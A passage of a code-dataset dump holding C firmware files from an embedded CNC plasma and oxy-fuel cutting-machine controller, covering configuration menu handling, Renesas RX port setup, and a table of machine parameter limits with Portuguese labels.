\"util.h\"\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\n\n#define DEFAULT_CONFIG_VAR_TOUT\tportMAX_DELAY\n\nextern bool sim;\n\n\nstatic void vTimerUpdateCallback( TimerHandle_t pxTimer );\nstatic uint8_t count = 0;\nstatic uint32_t mult = 1;\nuint8_t func_back = 0;\nstatic bool blink = 0;\n\n/**\n * Function pointer that can change a configuration\n * variable.\n *\n * @param Configuration variable object pointer.\n */\ntypedef void (*ut_config_change_ptr)(ut_config_var*);\nut_config_var* configsVar;\n\nstatic char* boolOptions[2] =\n{\n\t\"NÃO\",\n\t\"SIM\"\n};\n\nstatic char* boolJogMaq[2] =\n{\n\t\"PLASMA\",\n\t\"OXICORTE\"\n};\n\nstatic char* boolSim[2] =\n{\n\t\"SIMULAÇÃO\",\n\t\"DISPARAR E CORTAR\"\n};\n\nstatic char* boolEn[2] =\n{\n\t\"DESABILITADO\",\n\t\"HABILITADO\"\n};\n\nstatic char* boolCrem[2] =\n{\n\t\"RETA\",\n\t\"HELICOIDAL\"\n};\n\n\n/**\n * Config boolean variable\n *\n * @param var Boolean variable\n */\nvoid config_bool(ut_config_var* var)\n{\n\tchar** boolStr;\n\tuint32_t *value;\n\tut_menu menu;\n\tuint8_t i;\n\tbool Recordflag = false;\n\tfunc_back = 0;\n\t/* Initialize */\n\tut_menu_init(&menu);\n\tboolStr = boolOptions;\n\tmenu.itemMarked = 0;\n\tswitch(configsVar->currentState)\n\t{\n\t\tcase STATE_AUTO_MODE:\n\t\t\tswitch(configsVar->currentItem)\n\t\t\t{\n\t\t\t\tcase CONFIG_AUTO_MODO_SIM_RUN:\n\t\t\t\t\tvalue = var->value;\n\t\t\t\t\tboolStr = boolSim;\n\t\t\t\tbreak;\n\t\t\t\tdefault: break;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase STATE_CONFIG_MAQUINA:\n\t\t\tswitch(configsVar->currentItem)\n\t\t\t{\n\t\t\t\tcase CFG_MAQUINA_MODOMAQUINA:\n\t\t\t\t\tRecordflag =true;\n\t\t\t\t\tvalue = var->value;\n\t\t\t\t\tmenu.itemMarked = *value + 1;\n\t\t\t\t\tboolStr = boolJogMaq;\n\t\t\t\t\tbreak;\n\t\t\t\tdefault: break;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase STATE_CONFIG_AUTO_MODE:\n\t\t\tswitch(configsVar->currentItem)\n\t\t\t{\n\t\t\t\tcase CONFIG_AUTO_SELECIONAR_LINHA:\n\t\t\t\t\tboolStr = selecionarLinhatexto();\n\t\t\t\tbreak;\n\t\t\t\tcase CONFIG_AUTO_MODO_SIM_RUN:\n\t\t\t\t\tvalue = var->value;\n\t\t\t\t\tboolStr = boolSim;\n\t\t\t\tbreak;\n\t\t\t\tdefault: break;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase STATE_CONFIG_MAQUINA_THC:\n\t\t\tRecordflag =true;\n\t\t\tvalue = var->value;\n\t\t\tmenu.itemMarked = *value + 1;\n\t\t\tboolStr = boolEn;\n\t\t\tbreak;\n\t\tcase STATE_MAQ_MODEL_SELECTION:\n\t\t\tvalue = var->value;\n\t\t\tboolStr = boolCrem;\n\t\t\tbreak;\n\t\tdefault: break;\n\t}\n\t menu.title = var->name;\n\t menu.currentState = STATE_CONFIG_VAR;\n\tfor(i = 0; i < 2; i++)\n\t{\n\t\tmenu.items[menu.numItems++].text = boolStr[i];\n\t}\n\tvalue = var->value;\n\tmenu.selectedItem = *value % 2; // Just to be sure - it is really not necessary\n\t/* Check if user selected a valid entry */\n\tif(ut_menu_browse(&menu, DEFAULT_CONFIG_VAR_TOUT) < 0){\n\t\t*value = 0;\n\t\tfunc_back = 0xFF;\n\t\treturn;\n\t}\n\tfunc_back = menu.selectedItem;\n\t*value = menu.selectedItem;\n\t/* save it - TODO: ask for confirmation, maybe? */\n\tif(Recordflag)\n\t{\n\t\teepromWriteConfig(CONFIGFLAG);\n\t}\n}\n\n/**\n * Configure int variables\n *\n * @param var Int variable\n */\nvoid config_int(ut_config_var* var)\n{\n\tfloat Buffervalue;\n\tfloat *value = configsVar->value;\n\tchar szText[MAX_COLUMN];\n\tuint32_t keyEntry;\n\tuint32_t decNum = 1;\n\tuint16_t decCount = 0;\n\tuint16_t decimalCount = 0;\n\tuint16_t digits;\n\tBuffervalue = *value;\n\n\tdecCount = get_dec_digits(configsVar->valueMax);\n\tdecimalCount = get_decimal_digits(configsVar->step);\n\n\tif(decimalCount > 0)\n\t\tdigits = decCount + decimalCount + 1;\n\telse\n\t\tdigits = decCount;\n\n\tfor (uint8_t i = 1; i<decCount; i++)\n\t{\n\t\tdecNum = decNum*10;\n\t}\n\n\tsprintf(szText, \"%0*.*f %s\", digits , decimalCount,*value,var->unit);\n\tut_lcd_output_int_var(var->name,szText,1,false);\n\n\tif (swTimers[DOWN_CONFIGVAR_TIMER] == NULL)\n\t{\n\tswTimers[DOWN_CONFIGVAR_TIMER]= xTimerCreate\n\t\t\t\t ( /* Just a text name, not used by the RTOS kernel. */\n\t\t\t\t\t \"Timer Update\",\n\t\t\t\t\t /* The timer period in ticks, must be greater than 0. */\n\t\t\t\t\t ( 250 ),\n\t\t\t\t\t /* The timers will auto-reload themselves when they\n\t\t\t\t\t expire. */\n\t\t\t\t\t pdTRUE,\n\t\t\t\t\t /* Assign each timer a unique id equal to its array\n\t\t\t\t\t index. */\n\t\t\t\t\t ( void * ) DOWN_CONFIGVAR_TIMER,\n\t\t\t\t\t /* Each timer calls the same callback when it expires. */\n\t\t\t\t\t vTimerUpdateCallback\n\t\t\t\t );\n\t}\n\n\txTimerStart( swTimers[DOWN_CONFIGVAR_TIMER], 0 );\n\t/* Loop to increment / decrement value */\n\t/* Wait for keyboard */\n\twhile(xQueueReceive( qKeyboard, &keyEntry, DEFAULT_CONFIG_VAR_TOUT ))\n\t{\n\t\t/* Check which key */\n\t\tswitch (keyEntry)\n\t\t{\n\t\tcase KEY_DOWN:\n\t\t\t\tif(*value > configsVar->valueMin){\n\t\t\t\t\t*value = *value - configsVar->step*mult;\n\t\t\t\t}\n\t\t\t\tif(*value < configsVar->valueMin){\n\t\t\t\t\t*value = configsVar->valueMin;\n\t\t\t\t}\n\t\t\t\tblink = 0;\n\t\t\t\t//ut_lcd_output_int_var(configsVar->name,szText, count + 1,false);\n\t\t\tbreak;\n\n\t\tcase KEY_UP:\n\t\t\t\tif(*value < configsVar->valueMax){\n\t\t\t\t\t*value = *value + configsVar->step*mult;\n\t\t\t\t}\n\t\t\t\tif(*value > configsVar->valueMax){\n\t\t\t\t\t*value = configsVar->valueMax;\n\t\t\t\t}\n\t\t\t\tblink = 0;\n\t\t\t\t//ut_lcd_output_int_var(configsVar->name,szText, count + 1,false);\n\t\t\tbreak;\n\n\t\tcase KEY_LEFT:\n\t\t\t\tmult = mult*10;\n\t\t\t\tif (mult*configsVar->step > decNum)\n\t\t\t\t{\n\t\t\t\t\tmult = mult/10;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\n\t\t\tbreak;\n\n\t\tcase KEY_RIGHT:\n\t\t\t\tmult = mult/10;\n\t\t\t\tif (mult < 1)\n\t\t\t\t{\n\t\t\t\t\tmult = 1;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tcount--;\n\t\t\t\t}\n\t\t\tbreak;\n\n\t\tcase KEY_ENTER:\n\t\t\txTimerStop( swTimers[DOWN_CONFIGVAR_TIMER], 0 );\n\t\t\tswitch(configsVar->currentState)\n\t\t\t{\n\t\t\t\tcase STATE_CONFIG_JOG:\n\t\t\t\t\teepromWriteConfig(CONFIGVAR_JOG);\n\t\t\t\t\tif (configsVar->currentItem == CONFIG_JOG_RAPIDO)\n\t\t\t\t\t{\n\t\t\t\t\t\tvelocidadeJog = &configVarJog[JOG_RAPIDO];\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tvelocidadeJog = &configVarJog[JOG_LENTO];\n\t\t\t\t\t}\n\t\t\t\t\tut_lcd_output_warning(\" VALOR \\n SALVO \\n\");\n\t\t\t\t\t\t\t/* Delay */\n\t\t\t\t\tvTaskDelay(2000 / portTICK_PERIOD_MS);\n\t\t\t\t\tbreak;\n\t\t\t\tcase STATE_CONFIG_MENU_OX:\n\t\t\t\t\teepromWriteConfig(CONFIGVAR_OX);\n\t\t\t\t\tut_lcd_output_warning(\" VALOR \\n SALVO \\n\");\n\t\t\t\t\t\t\t/* Delay */\n\t\t\t\t\tvTaskDelay(2000 / portTICK_PERIOD_MS);\n\t\t\t\t\tbreak;\n\t\t\t\tcase STATE_CONFIG_MENU_PL:\n\t\t\t\t\teepromWriteConfig(CONFIGVAR_PL);\n\t\t\t\t\tut_lcd_output_warning(\" VALOR \\n SALVO \\n\");\n\t\t\t\t\t\t\t/* Delay */\n\t\t\t\t\tvTaskDelay(2000 / portTICK_PERIOD_MS);\n\t\t\t\t\tbreak;\n\t\t\t\tcase STATE_CONFIG_MAQUINA:\n\t\t\t\t\teepromWriteConfig(CONFIGVAR_MAQ);\n\t\t\t\t\tut_lcd_output_warning(\" VALOR \\n SALVO \\n\");\n\t\t\t\t\t\t\t/* Delay */\n\t\t\t\t\tvTaskDelay(2000 / portTICK_PERIOD_MS);\n\t\t\t\t\tbreak;\n\t\t\t\tcase STATE_CONFIG_PARAMETROS_MAQ:\n\t\t\t\t\teepromWriteConfig(CONFIGVAR_PAR_MAQ);\n\t\t\t\t\tut_lcd_output_warning(\" VALOR \\n SALVO \\n\");\n\t\t\t\t\t\t\t/* Delay */\n\t\t\t\t\tvTaskDelay(2000 / portTICK_PERIOD_MS);\n\t\t\t\t\treset_flag = true;\n\t\t\t\t\tbreak;\n\t\t\t\tcase STATE_CONFIG_AUTO_MODE:\n\t\t\t\t\tselecionarlinhas();\n\t\t\t\t\tbreak;\n\n\t\t\t}\n\n\t\t\tmult = 1;\n\t\t\tcount = 0;\n\t\t\treturn;\n\n\t\tcase KEY_ESC:\n\t\t\t*value = Buffervalue;\n\t\t\tmult = 1;\n\t\t\tcount = 0;\n\t\t\tif(configsVar->currentState == STATE_CONFIG_AUTO_MODE)\n\t\t\t{\n\t\t\t\tif(configsVar->currentItem == CONFIG_AUTO_SELECIONAR_LINHA)\n\t\t\t\t{\n\t\t\t\t\tconfigsVar->type = UT_CONFIG_INT;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfunc_back = 0xFF;\n\t\t\txTimerStop( swTimers[DOWN_CONFIGVAR_TIMER], 0 );\n\t\t\treturn;\n\n\t\tcase KEY_RELEASED:\n\t\t//\tmult = 1;\n\t\t//\tcount = 0;\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\n\n\t}\n\n}\n\n/**\n * Null handler\n * @param var\n */\nvoid config_null(ut_config_var* var)\n{\n\n}\n\n/* Default handlers for variables */\nstatic ut_config_change_ptr var_handlers[UT_CONFIG_MAX] =\n{\n\t&config_int,\n\t&config_bool,\n\t&config_null\n};\n\n/**\n * This state configures a single variable that is\n * shared among multiple states.\n *\n * @param pContext Context object\n * @return Config menu\n */\nut_state ut_state_config_var(ut_context* pContext)\n{\n\tuint32_t *Flag = configsVar->value;\n\tut_state stateBack = (ut_state)pContext->value[0];\n\n\tvar_handlers[configsVar->type](configsVar);\n\n\tswitch(configsVar->currentState)\n\t{\n\t\tcase STATE_CONFIG_JOG:\n\t\t\tif(func_back == 0xFF)\n\t\t\t{\n\t\t\t\tstateBack = (ut_state)pContext->value[1];\n\t\t\t\tfunc_back = 0;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase STATE_CONFIG_MANUAL_MODE:\n\t\t\tif(configsVar->currentItem == CONFIG_MANUAL_DESLOCAR_ZERO )\n\t\t\t{\n\t\t\t\tuint32_t *Flag = configsVar->value;\n\t\t\t\tif(*Flag == 1)\n\t\t\t\t{\n\t\t\t\t\tstateBack = (ut_state)pContext->value[1];\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\t\tcase STATE_CONFIG_AUTO_MODE:\n\t\t\tswitch(configsVar->currentItem)\n\t\t\t{\n\t\t\t\tcase CONFIG_AUTO_RODAR_PROG:\n\t\t\t\tcase CONFIG_AUTO_DESLOCAR_ZERO:\n\t\t\t\tcase CONFIG_AUTO_TESTAR_TAMANHO_PECA:\n\t\t\t\t\tif(*Flag == 1 && func_back == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tstateBack = (ut_state)pContext->value[1];\n\t\t\t\t\t\tsim = false;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase CONFIG_AUTO_MODO_SIM:\n\t\t\t\t\tif(*Flag == 1 && func_back == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tsim = true;\n\t\t\t\t\t\tstateBack = (ut_state)pContext->value[1];\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tsim = false;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase CONFIG_AUTO_SELECIONAR_LINHA:\n\t\t\t\t\tdo{\n\t\t\t\t\t\tif(configsVar->type == UT_CONFIG_BOOL){\n\t\t\t\t\t\t\tvar_handlers[configsVar->type](configsVar);\n\t\t\t\t\t\t\tif (func_back == 0xFF)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tconfigsVar->type = UT_CONFIG_INT;\n\t\t\t\t\t\t\t\tvar_handlers[configsVar->type](configsVar);\n\t\t\t\t\t\t\t\tfunc_back = 0xFF;\n\t\t\t\t\t\t\t\tif(configsVar->type == UT_CONFIG_INT)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tut_lcd_output_warning(\"NENHUM PONTO\\nDE ENTRADA\\nSELECIONADO\\n\");\n\t\t\t\t\t\t\t\t\tvTaskDelay(2000 / portTICK_PERIOD_MS);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\tlinhaSelecionada(func_back);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tut_lcd_output_warning(\"NENHUM PONTO\\nDE ENTRADA\\nSELECIONADO\\n\");\n\t\t\t\t\t\t\tvTaskDelay(2000 / portTICK_PERIOD_MS);\n\t\t\t\t\t\t}\n\t\t\t\t\t}while(func_back == 0xFF && configsVar->type == UT_CONFIG_BOOL);\n\t\t\t\t\tfunc_back = 0;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\tbreak;\n\n\t\t\tcase STATE_CONFIG_MAQUINA:\n\t\t\tswitch(configsVar->currentItem)\n\t\t\t{\n\t\t\tcase CFG_MAQUINA_PARAMETROS:\n\t\t\t\tif(*Flag == 1)\n\t\t\t\t{\n\t\t\t\t\tstateBack = (ut_state)pContext->value[1];\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\tbreak;\n\t}\n\t/* Avoid null handler */\n\tif (func_back == 1)\n\t{\n\t\tif(configsVar->func_var) { configsVar->func_var(configsVar); }\n\t}\n\tswitch(configsVar->currentState)\n\t{\n\t\tcase STATE_CONFIG_AUTO_MODE:\n\t\t\tswitch(configsVar->currentItem)\n\t\t\t{\n\t\t\t\tcase CONFIG_AUTO_TESTAR_TAMANHO_PECA:\n\t\t\t\t\tbool *retFile = configsVar->value;\n\t\t\t\t\tif (*retFile == false)\n\t\t\t\t\t{\n\t\t\t\t\t\tstateBack = (ut_state)pContext->value[0];\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\tbreak;\n\t}\n\n\treturn stateBack;\n}\n\nstatic void vTimerUpdateCallback( TimerHandle_t pxTimer )\n{\n\tchar szText[MAX_COLUMN];\n\tlong lArrayIndex;\n\tuint8_t blinkpos = 1;\n\tfloat *value = configsVar->value;\n\tuint16_t decCount = 0;\n\tuint16_t decimalCount = 0;\n\tuint16_t digits = 0;\n\n\t/* Optionally do something if the pxTimer parameter is NULL. */\n\tconfigASSERT( pxTimer );\n\tdecCount = get_dec_digits(configsVar->valueMax);\n\tdecimalCount = get_decimal_digits(configsVar->step);\n\tif(decimalCount > 0)\n\t\tdigits = decCount + decimalCount + 1;\n\telse\n\t\tdigits = decCount;\n\n\tsprintf(szText, \"%0*.*f %s\", digits , decimalCount,*value,configsVar->unit);\n\tut_lcd_output_int_var(configsVar->name,szText, count + 1,blink);\n\tblink = !blink;\n}\n" }, { "alpha_fraction": 0.4194706082344055, "alphanum_fraction": 0.45670703053474426, "avg_line_length": 43.87919616699219, "blob_id": "1ad23786d641153593ff916dd1443a392f5fd5e9", "content_id": "50d010e5a501056b3b2773c5b035b35b14ad38ca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6687, "license_type": "no_license", "max_line_length": 121, "num_lines": 149, "path": "/r_bsp/board/MT01/hwsetup.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n * File Name : hwsetup.c\n * Device(s) : RX\n * H/W Platform : MT01\n * Description : Defines the initialization routines used each time the MCU is restarted.\n ***********************************************************************************************************************/\n/***********************************************************************************************************************\n * History : DD.MM.YYYY Version Description\n * : 26.09.2015 1.00 First Release\n ***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n ***********************************************************************************************************************/\n/* I/O Register and board definitions */\n#include \"platform.h\"\n\n/***********************************************************************************************************************\nPrivate global variables and functions\n ***********************************************************************************************************************/\n/* MCU I/O port configuration function declaration */\nstatic void output_ports_configure(void);\n\n/* Interrupt configuration function declaration */\nstatic void interrupts_configure(void);\n\n/* MCU peripheral module configuration function declaration */\nstatic void peripheral_modules_enable(void);\n\n\n/***********************************************************************************************************************\n * Function name: hardware_setup\n * Description : Contains setup functions called at device restart\n * Arguments : none\n * Return value : none\n ***********************************************************************************************************************/\nvoid hardware_setup(void)\n{\n\toutput_ports_configure();\n\tinterrupts_configure();\n\tperipheral_modules_enable();\n\tbsp_non_existent_port_init();\n}\n\n/***********************************************************************************************************************\n * Function name: output_ports_configure\n * Description : Configures the port and pin direction settings, and sets the pin outputs to a safe level.\n * Arguments : none\n * Return value : none\n ***********************************************************************************************************************/\nstatic void output_ports_configure(void)\n{\n\t/* Unlock MPC registers to enable writing to them. */\n\tR_BSP_RegisterProtectDisable(BSP_REG_PROTECT_MPC);\n\n\t/* Port 0 - not used*/\n\tPORT0.PODR.BYTE = 0x00 ; /* All outputs low to start */\n\tPORT0.PDR.BYTE = 0xFF ; /* all are outputs */\n\n\t/* Port 1 -USB VBUS, USB Overcurrent Plasma - Limites (IRQ2) */\n\tPORT1.PMR.BYTE = 0x54;\n\tMPC.P12PFS.BYTE = 0x40; /* IRQ2 - Limites*/\n\tMPC.P14PFS.BYTE = 0x12; /* USB0_OVRCURA */\n\tMPC.P16PFS.BYTE = 0x12; /* USB0_VBUS */\n\tPORT1.PODR.BYTE = 0x00 ; /* All unused pins outputs low to start */\n\tPORT1.PDR.BYTE = 0xFF ; /* All unused pins are outputs */\n\n\t/* Port 2 - Plasma - Emergencia (IRQ8), Arco OK (IRQ9), PWM Chp (P22), Tocha (P23) */\n\tPORT2.PMR.BYTE = 0x03;\n\tMPC.P20PFS.BYTE = 0x40; /* IRQ8 - Emergencia */\n\tMPC.P21PFS.BYTE = 0x40; /* IRQ9 - Arco Ok */\n\tPORT2.PODR.BYTE = 0x08 ; /* All outputs low to start except TORCH*/\n\tPORT2.PDR.BYTE = 0xFE ; /* All outputs - Emergencia (Input) */\n\n\t/* Port 3 - JTAG, DA0(MTIOC0C), DA1(MTIOC0D) */\n\tPORT3.PMR.BYTE = 0x0C;\n\tMPC.P32PFS.BYTE = 0x01; /* MTIOC0C - DA0 */\n\tMPC.P33PFS.BYTE = 0x01; /* MTIOC0D - DA1 */\n\tPORT3.PODR.BYTE = 0x00 ; /* All outputs low to start */\n\tPORT3.PDR.BYTE = 0x0C;\n\n\t/* Port 4 - TLINHA0-2 (P44 - 46),AN0 (AN001), AN1(AN002), THC Voltage (AN003) */\n\tPORT4.PMR.BYTE = 0x0E;\n\tMPC.P41PFS.BYTE = 0x80; /* AN001 - AN0 */\n\tMPC.P42PFS.BYTE = 0x80; /* AN002 - AN1 */\n\tMPC.P43PFS.BYTE = 0x80; /* AN003 - THC Voltage */\n\tPORT4.PODR.BYTE = 0x00 ; /* All outputs low to start */\n\tPORT4.PDR.BYTE = 0x8F ; /* TLINHA0-2 (P44 - 46) - inputs, All outputs */\n\tPORT4.PCR.BYTE = 0x70 ;\t /* Pull up */\n\n\t/* Port 5 - OUT0-3 (P50 - 53) */\n\tPORT5.PODR.BYTE = 0x00 ; /* All outputs low to start */\n\tPORT5.PDR.BYTE = 0xFF ; /* All outputs */\n\n\t/* Port A - */\n\tPORTA.PODR.BYTE = 0x00 ; /* All outputs low to start */\n\tPORTA.PDR.BYTE = 0xFF ; /* All outputs */\n\n\t// /* Port B - IN0-4 (PB1 - B5) */\n\tPORTB.PODR.BYTE = 0x00 ;\n\tPORTB.PDR.BYTE = 0x01; /* IN0-4 - inputs, All outputs */\n\n\t/* Port C - LCD SPI signals, LCD CS (PC2)*/\n\tPORTC.PMR.BYTE = 0x60 ; /* */\n\tMPC.PC5PFS.BYTE = 0x0D ; /* PC5 is RSPCKA */\n\tMPC.PC6PFS.BYTE = 0x0D ; /* PC6 is MOSIA */\n\tPORTC.PODR.BYTE = 0x00 ; /* All outputs low to start */\n\tPORTC.PDR.BYTE = 0xFF ; /* All outputs*/\n\n\t/* Port D - TCOL0-2 (P44 - 46) */\n\tPORTD.PODR.BYTE = 0x00 ; /* All outputs low to start \t*/\n\tPORTD.PDR.BYTE = 0xFF ; /* All outputs*/\n\n\t/* Port E - CNC signals*/\n PORTE.PMR.BYTE = 0x0E ; /* All GPIO for now */\n MPC.PE1PFS.BYTE = 0x0E ; /* PE1 is RSPCKB */\n MPC.PE2PFS.BYTE = 0x0E ; /* PE2 is MOSIB */\n MPC.PE3PFS.BYTE = 0x0D ; /* PE3 is MISOB */\n\tPORTE.PODR.BYTE = 0x00 ; /* All outputs low to start */\n\tPORTE.PDR.BYTE = 0xFF ; /* All outputs*/\n\n\t/* Port J - No used\t*/\n\tPORTJ.PODR.BYTE = 0x00 ; /* All outputs low to start */\n\tPORTJ.PDR.BYTE = 0xFF ; /* All output */\n\t/* Lock MPC registers. */\n\tR_BSP_RegisterProtectEnable(BSP_REG_PROTECT_MPC);\n}\n\n/***********************************************************************************************************************\n * Function name: interrupts_configure\n * Description : Configures interrupts used\n * Arguments : none\n * Return value : none\n ***********************************************************************************************************************/\nstatic void interrupts_configure(void)\n{\n\t/* Add code here to setup additional interrupts */\n}\n\n/***********************************************************************************************************************\n * Function name: peripheral_modules_enable\n * Description : Enables and configures peripheral devices on the MCU\n * Arguments : none\n * Return value : none\n ***********************************************************************************************************************/\nstatic void peripheral_modules_enable(void)\n{\n\t/* Add code here to enable peripherals used by the application */\n}\n" }, { "alpha_fraction": 0.2965070307254791, "alphanum_fraction": 0.3249565362930298, "avg_line_length": 34.544944763183594, "blob_id": "227b3d299aeca799cd87869cb7936c205458a0bc", "content_id": "819eae0b2572fcdc3239359f73064d0cdeba8f05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6328, "license_type": "no_license", "max_line_length": 62, "num_lines": 178, "path": "/src/states/config_par_maquina.c", "repo_name": "ustropo/MT01", "src_encoding": "ISO-8859-13", "text": "/*\n * config_maquina.c\n *\n * Created on: Oct 7, 2016\n * Author: LAfonso01\n */\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"config_par_maquina.h\"\n#include \"eeprom.h\"\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nut_config_var configsParMaq[CFG_PAR_MAQ_MAX];\nbool reset_flag;\n\nconst ut_state geNextStatePar[CFG_PAR_MAQ_MAX] =\n{\n\tSTATE_CONFIG_VAR, //!< EIXO_X1\n\tSTATE_CONFIG_VAR, //!< EIXO_X2\n\tSTATE_CONFIG_VAR, //!< EIXO_Y\n\tSTATE_CONFIG_VAR, //!< EIXO_Z\n\tSTATE_CONFIG_VAR, //!< JERK X\n\tSTATE_CONFIG_VAR, //!< JERK Y\n\tSTATE_CONFIG_VAR, //!< JERK Z\n\tSTATE_CONFIG_VAR, //!< VEL X\n\tSTATE_CONFIG_VAR, //!< VEL Y\n\tSTATE_CONFIG_VAR, //!< VEL Z\n\tSTATE_CONFIG_VAR, //!< JUNCTION DEV\n\tSTATE_CONFIG_VAR, //!< JUNCTION ACCEL\n\tSTATE_CONFIG_VAR, \t\t //!< CHORDAL TOLERANCE\n\tSTATE_CONFIG_VAR, //!< FORMAT MEM\n};\n\n//uint32_t pm_init_values[CFG_PAR_MAQ_MAX] =\n//{\n//\t\t20, //!< EIXO_X1\n//\t\t20, //!< EIXO_X2\n//\t\t20, //!< EIXO_Y\n//\t\t400, //!< JERK X\n//\t\t400, //!< JERK Y\n//\t\t10000, //!< VEL X\n//\t\t10000, //!< VEL Y\n//\t\t900, //!< VEL Z\n//\t\t0.2, //!< JUNCTION DEV\n//\t\t160000, //!< JUNCTION ACCEL\n//\t\tCFG_PAR_MAQ_CHORDAL_TOL, //!< CHORDAL TOLERANCE\n//\t\t0, //!< FORMAT MEM\n//};\n\n/* Initial values for each config variable */\nut_config_type pm_init_types[CFG_PAR_MAQ_MAX] =\n{\n\tUT_CONFIG_INT, //!< EIXO_X1\n\tUT_CONFIG_INT, //!< EIXO_X2\n\tUT_CONFIG_INT, //!< EIXO_Y\n\tUT_CONFIG_INT, //!< EIXO_Z\n\tUT_CONFIG_INT, //!< JERK X\n\tUT_CONFIG_INT, //!< JERK Y\n\tUT_CONFIG_INT, //!< JERK Z\n\tUT_CONFIG_INT, //!< VEL X\n\tUT_CONFIG_INT, //!< VEL Y\n\tUT_CONFIG_INT, //!< VEL Z\n\tUT_CONFIG_INT, //!< JUNCTION DEV\n\tUT_CONFIG_INT, //!< JUNCTION ACCEL\n\tUT_CONFIG_INT, //!< CHORDAL TOLERANCE\n\tUT_CONFIG_BOOL, //!< FORMAT MEM\n};\n\nchar* pm_init_names[CFG_PAR_MAQ_MAX] =\n{\n\t\" EIXO X1\", //!< EIXO_X1\n\t\" EIXO X2\", //!< EIXO_X2\n\t\" EIXO Y\", //!< EIXO_Y\n\t\" EIXO Z\", //!< EIXO_Y\n\t\" JERK X\", //!< JERK X\n\t\" JERK Y\", //!< JERK Y\n\t\" JERK Z\", //!< JERK Z\n\t\" VEL. MAX X\", //!< VEL X\n\t\" VEL. MAX Y\", //!< VEL Y\n\t\" VEL. MAX Z\", //!< VEL Z\n\t\" DESVIO DE JUNTA\", //!< JUNCTION DEV\n\t\" ACEL. DE JUNTA\", //!< JUNCTION ACCEL\n\t\" TOLERĀNCIA DE ARCO\", //!< CHORDAL TOLERANCE\n\t\" FORMATA MEM\" //!< FORMAT MEM\n};\n\nfloat pm_init_max[CFG_PAR_MAQ_MAX] =\n{\n\t200, //!< EIXO_X1\n\t200, //!< EIXO_X2\n\t200, //!< EIXO_Y\n\t200, //!< EIXO_Z\n\t10000, //!< JERK X\n\t10000, //!< JERK Y\n\t10000, //!< JERK Z\n\t20000, //!< VEL X\n\t20000, //!< VEL Y\n\t20000, //!< VEL Z\n\t10, //!< JUNCTION DEV\n\t2000000, //!< JUNCTION ACCEL\n\t10, \t\t\t\t //!< CHORDAL TOLERANCE\n\t1, //!< FORMAT MEM\n};\n\nfloat pm_init_min[CFG_PAR_MAQ_MAX] =\n{\n\t0, \t //!< EIXO_X1\n\t0, \t //!< EIXO_X2\n\t0, \t //!< EIXO_Y\n\t0, \t //!< EIXO_Z\n\t0, //!< JERK X\n\t0, //!< JERK Y\n\t0, //!< JERK Z\n\t0, //!< VEL X\n\t0, //!< VEL Y\n\t0, //!< VEL Z\n\t0, //!< JUNCTION DEV\n\t0, //!< JUNCTION ACCEL\n\t0, //!< CHORDAL TOLERANCE\n\t0, //!< FORMAT MEM\n};\n\nuint8_t pm_init_point[CFG_PAR_MAQ_MAX] =\n{\n\t1, //!< EIXO_X1\n\t1, //!< EIXO_X2\n\t1, //!< EIXO_Y\n\t1, //!< EIXO_Z\n\t0, //!< JERK X\n\t0, //!< JERK Y\n\t0, //!< JERK Z\n\t0, //!< VEL X\n\t0, //!< VEL Y\n\t0, //!< VEL Z\n\t0, //!< JUNCTION DEV\n\t0, //!< JUNCTION ACCEL\n\t0, //!< CHORDAL TOLERANCE\n\t0, //!< FORMAT MEM\n};\n\nfloat pm_init_step[CFG_PAR_MAQ_MAX] =\n{\n\t0.001, //!< EIXO_X1\n\t0.001, //!< EIXO_X2\n\t0.001, //!< EIXO_Y\n\t0.001, //!< EIXO_Z\n\t1, //!< JERK X\n\t1, //!< JERK Y\n\t1, //!< JERK Z\n\t1, //!< VEL X\n\t1, //!< VEL Y\n\t1, //!< VEL Z\n\t0.01, //!< JUNCTION DEV\n\t1, //!< JUNCTION ACCEL\n\t0.01, \t\t\t //!< CHORDAL TOLERANCE\n\t1, //!< FORMAT MEM\n};\n\nchar* pm_init_unit[CFG_PAR_MAQ_MAX] =\n{\n\t\"mm\", //!< EIXO_X1\n\t\"mm\", //!< EIXO_X2\n\t\"mm\", //!< EIXO_Y\n\t\"mm\", //!< EIXO_Z\n\t\"mm/min^3\", //!< JERK X\n\t\"mm/min^3\", //!< JERK Y\n\t\"mm/min^3\", //!< JERK Z\n\t\"mm/min\", //!< VEL X\n\t\"mm/min\", //!< VEL Y\n\t\"mm/min\", //!< VEL Z\n\t\"mm\", 